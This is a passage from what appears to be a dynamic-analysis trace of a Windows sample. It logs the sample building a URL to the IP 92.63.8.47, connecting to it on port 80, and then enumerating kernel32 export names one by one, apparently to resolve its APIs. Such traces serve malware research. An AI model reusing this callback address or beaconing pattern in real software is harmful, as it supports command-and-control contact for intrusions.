lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0053.930] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0053.930] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0053.930] lstrcpyA (in: lpString1=0x2c4f190, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0053.931] wsprintfA (in: param_1=0x2f00000, param_2="http://%s%s" | out: param_1="http://92.63.8.47/archive/fxc.action?sdp=q&g=6oix0&qbaa=6b&k=u7a7u") returned 66 [0053.931] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f30000 [0053.931] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f40000 [0053.932] VirtualAlloc (lpAddress=0x0, dwSize=0x32, flAllocationType=0x3000, flProtect=0x4) returned 0x2f50000 [0053.932] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f60000 [0053.932] inet_pton (in: Family=2, pszAddrString="92.63.8.47", pAddrBuf=0x2c4f830 | out: pAddrBuf=0x2c4f830) returned 1 [0053.932] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2c4fc7c | out: lpWSAData=0x2c4fc7c) returned 0 [0054.268] socket (af=2, type=1, protocol=6) returned 0x21c [0055.017] inet_addr (cp="92.63.8.47") returned 0x2f083f5c [0055.017] htons (hostshort=0x50) returned 0x5000 [0055.017] connect (s=0x21c, name=0x2c4f80c*(sa_family=2, sin_port=0x50, sin_addr="92.63.8.47"), namelen=16) returned 0 [0055.106] lstrlenA (lpString="kernel32.dll") returned 12 [0055.106] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.106] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.106] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.107] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.107] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.107] lstrlenA (lpString="ADDATOMA") returned 8 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.107] lstrlenA (lpString="ADDATOMW") returned 8 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.107] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.107] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.107] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.107] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.107] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.107] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.107] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.107] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.107] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.107] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.107] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.107] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.107] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.108] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.108] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.108] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.108] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.108] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.108] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.108] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.108] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.108] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.108] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.108] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.108] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.108] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.108] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.108] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.108] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.108] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.109] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.109] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.109] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.109] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.109] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.109] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.109] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.109] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.109] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.109] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.109] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.109] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.109] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.109] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.109] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.109] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.109] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.110] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.110] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.110] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.110] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.110] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.110] lstrlenA (lpString="BEEP") returned 4 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.110] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.110] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.110] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.110] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.110] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.110] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.110] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.110] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.111] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.111] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.111] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.111] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.111] lstrlenA (lpString="CANCELIO") returned 8 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.111] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.111] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.111] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.111] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.111] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.111] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.111] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.111] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.111] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.111] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.111] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.111] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.111] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.112] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.112] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.112] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.112] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.112] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.112] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.112] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.112] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.112] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.112] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.112] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.112] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.113] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.113] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.113] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.113] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.113] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.113] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.113] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.113] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.113] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.113] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.113] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.113] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.113] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.113] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.113] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.113] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.113] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.114] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileA" | out: 